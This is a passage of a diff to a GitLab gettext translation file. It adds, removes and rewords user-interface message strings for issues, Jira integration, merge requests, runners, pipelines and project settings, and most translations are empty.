msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr "Etiketa zadatka"
@@ -19297,6 +19645,9 @@ msgstr "Neke tvoje table nisu vidljive, aktiviraj licencu za ponovni prikaz."
msgid "IssueBoards|Switch board"
msgstr "Zamijeni tablu"
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19354,16 +19705,13 @@ msgstr ""
msgid "Issues"
msgstr "Zadaci"
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19372,9 +19720,6 @@ msgstr "Zadaci mogu biti greške, aktivnosti ili ideje o kojima će se raspravlj
msgid "Issues closed"
msgstr "Zatvoreni zadaci"
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19468,6 +19813,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19477,6 +19825,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19573,9 +19924,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19600,9 +19957,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19711,18 +20065,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19741,18 +20086,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19762,6 +20101,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19771,12 +20113,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19807,9 +20143,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -20107,6 +20440,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20452,7 +20788,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20557,6 +20893,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20602,6 +20941,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20746,9 +21088,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20776,13 +21115,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20800,6 +21139,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -21016,7 +21358,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -21097,7 +21439,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21310,6 +21652,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21328,6 +21673,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21535,9 +21883,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21700,6 +22045,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21715,6 +22066,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21760,22 +22114,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge requests that I'm a reviewer"
-msgstr ""
-
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21895,6 +22240,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22534,6 +22891,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22786,9 +23146,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22939,9 +23296,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22966,6 +23320,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23170,6 +23527,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23206,6 +23566,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23401,6 +23764,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23449,9 +23815,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23494,6 +23866,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23515,6 +23890,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23611,6 +23989,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23830,7 +24211,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23986,7 +24367,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -24070,6 +24451,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -24160,19 +24547,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24193,6 +24580,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24232,6 +24625,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24253,6 +24649,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24271,7 +24670,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24511,6 +24910,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24868,6 +25270,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24964,9 +25369,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25219,6 +25621,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25534,9 +25942,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25666,6 +26071,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25681,9 +26089,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25774,10 +26179,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25918,6 +26323,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25945,9 +26353,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26188,7 +26593,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26470,7 +26875,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26491,13 +26896,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26539,13 +26944,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
+msgstr ""
+
+msgid "Profiles|Key can still be used after expiration."
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26875,9 +27283,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26956,6 +27361,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27223,12 +27631,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27298,6 +27712,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27322,6 +27739,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27343,6 +27763,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27547,6 +27973,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27754,6 +28183,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr "Promoviraj zadatak u epik"
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27772,9 +28204,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr "Zadatak promoviran u epik."
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -28135,6 +28573,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28297,6 +28738,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28411,6 +28855,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28513,9 +28963,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28684,6 +29131,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28711,6 +29161,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28720,6 +29173,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28837,15 +29296,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr "Zadatak uklonjen iz epika."
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28861,6 +29320,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28930,6 +29392,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28954,6 +29419,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -29137,6 +29605,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -29158,6 +29629,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -29176,6 +29650,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29254,7 +29731,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29269,6 +29746,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29290,6 +29773,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29329,6 +29815,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29398,6 +29887,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29716,6 +30208,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29770,6 +30265,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29782,6 +30280,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29803,6 +30304,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29815,12 +30319,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29854,6 +30364,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29863,6 +30376,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29893,12 +30409,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29956,19 +30478,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
+msgstr ""
+
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -30049,21 +30577,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30451,6 +30964,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30475,6 +30991,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
